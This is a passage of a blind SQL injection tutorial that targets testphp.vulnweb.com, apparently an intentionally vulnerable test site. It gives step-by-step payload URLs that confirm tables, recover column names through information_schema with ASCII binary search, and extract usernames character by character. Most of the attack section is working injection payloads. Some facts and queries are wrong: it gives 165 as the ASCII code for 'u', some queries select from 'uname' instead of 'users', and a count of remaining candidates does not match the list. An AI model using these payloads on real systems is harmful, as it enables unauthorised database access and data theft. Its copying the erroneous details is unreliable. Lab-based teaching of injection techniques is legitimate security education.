Finding tables, columns and records

We will now have to guess the table names. The idea is to start with some common ones, and you'll most probably get a few tables. Most databases have a table for users, admin, login, employees, etc. Now I'll demonstrate a few failures and successes and then we'll proceed. There is another alternate in which we can go character by character. There is a third method where we can use ASCII codes too.

Problem: Since the website does not display output, how do we find out the table names?
Solution: We can do what we've been doing so far, ask the website if table name = X, where X is our guess at table name. We will keep repeating until the condition returns true, i.e., the exists a table with the name that we guessed.

Problem: This is just a concept, how do we put it to action? How do we ask the database to return true if we guess the right table name? Can't be as simple as 1=1....
Solution: We will use the select query. select 1 from X is going to be our query. If there is a table called X, then output will be one. Now we can use this output to generate a condition. (select 1 from X) = 1. If X table exists, then output will be 1. Since 1=1, condition will be true. If X does not exist, condition will be false.

Problem: What if we can't guess the table name?
Solution: We have 2 more alternatives. First is to use substr, as we did while finding version, to find out the table name character by character. Basically, we will ask the table if first character of table name is a. If not, we'll try b, c, d, etc. After that we'll proceed to second character. This way, we are guaranteed to find out the table name. (I hope you are getting a good idea why it's called blind SQLi)

Alternate Solution: We can use ASCII values to speed up the above solution. Basically, we can't directly compare characters like number. 6 is greater than 5, but b is not greater than a. Characters can't be compared like that. However, their ASCII forms can, since each alphabet corresponds to a number in ASCII. We can use this fact to ask the table if the first letter of the table name is more than P or less than it. This way, if the table says it's more, we don't have to check the alphabets before P, and Vice Versa. [This is just the concept, I'll demonstrate how it's to be done].

Now, for finding table name, I'll stick to simple guessing. The remaining 2 concepts will be demonstrated while finding column name and data value respectively.

Limit Clause: It must be noted that select query returns all the results from a given table, not just the first. For example, if a table has 500 records, and you ask the table for records where first table is 'a', it will return not one, but all the records with first letter 'a'. This is not what we want. To avoid this, we use limit clause.
Here is a short summary, read the complete section on Limit clause here.

SELECT * FROM tbl     LIMIT offset, count

Let’s see what the offset and count mean in the LIMIT clause:

· The offset specifies the offset of the first row to return. The offset of the first row is 0, not 1.

· The count specifies maximum number of rows to return.

I've covered all the concepts, now I hope you can read the commands and figure out what they mean.

Table name

Now we'll try to guess table name

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1

The error message will not be displayed in real blind SQLi. We will see a blank output, like we did earlier.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1

The page loads fine. This means there is indeed a table named users.

Now, if you are trying this attack on some other site, then you might not be able to guess the name if it isn't as obvious as users. So I recommend you keep reading and try again once you know how to guess one letter at a time (for column name) and how to use ASCII (for obtaining data).
PS: Here limit is not required since we guessed the whole table name at once and not character by character.

Column Name

Guessing the whole name

Now, there are 2 ways to get column name. The first way is to guess the complete column name, as we did for table name.

http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1

http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1

The page displays normally for uname, so we know that a column called uname exists. For practice, you can also replace uname with pass,cc,address,email,name,phone,cart1. All these columns also exist in the table.

2. Guessing character by character using equality (=)

The second way is to go character by character. There are 2 ways to do this too. One is to guess the character directly, second is to find the range in which the character lies, and then guess it. I'll show both. This method requires information_schema, i.e. it will work for MySQL 5 series but not 4.
Here I have directly used 117. You may (and in reality will have to) try all possible ascii codes (65 to 122 for A to z)

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

PS: I tried to see if MySQL automatically converts the character to their ASCII value, and found out that it does indeed. So one may skim the query a bit and finally it will be like. So basically, contrary to what I said earlier, b is indeed bigger than a. Here is the same code with u instead of 117

 

http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u'

165 is ASCII code for u. We know the column name is uname, so the page should display fine, which it does. You can try values other than 85 and see what happens. Also, 7573657273 is hex code for users (0x indicates hex). Remember, you can do the same for tables by making a few changes. Firstly replaced the bold column in above code with table. A few more changes are necessary too. Here's what the final code looks like:-

 

3. Guessing character using > or < followed by =

It's almost the same as we did before

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii( substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1) ) > 100

We now know it's > 100 (100 is ' d'), since the page displayed properly

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii( substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1) ) > 120

But it is less than 120 ('x'), since page doesn't display well.

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii( substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1) ) > 110

Greater than 110 ('n')

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii( substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1) ) > 115

Greater than 115 ('s'). Now only 4 possibilities remain, 116, 117, 118, 119, 120 (it is greater than 116 but not greater than 120). We can now try all 5 one by one. I have also highlighted the ascii part in above queries. You can remove the bold text and replace the numbers with characters in single quotes ('a', 'b', etc., also provided in bold below the code)
Finally you'll get success at-

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

However, we only know the first letter of the column name. To find the second letter, replace the red text from 1 to 2. The code becomes-

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117

It will not display properly since the second character in uname is n. (ascii 110)

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110

You can use the > < = method here too. Everything other than 2 will be the same.

Extracting data

Now while what you did so far wasn't very swift either, what you're going to do now is going to be terribly slow. You have to guess the data as well. Each and everything needs to be guessed.

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120

Page doesn't display properly for 120 (x)

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116

So the first letter is 't'. For second character (without ascii this time)

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a'

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'

It lies between 'b' and 'f'

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'

Keep trying

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e'

Second character is 'e'. You may proceed to do so until you find the complete uname. You can ensure that a character was the last in the word by using the following command.

 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0

If there is any other character left, >0 will always return true.

This was all there is to blind SQL Injection. In the next post I'll introduce you to some tools which do the task for you. To be honest, no one will call you a noob if you use scripts/ tools to automate blind SQLi. It is a really time consuming process and it is not required to waste so much time when you can write a script to do all the guesswork for you.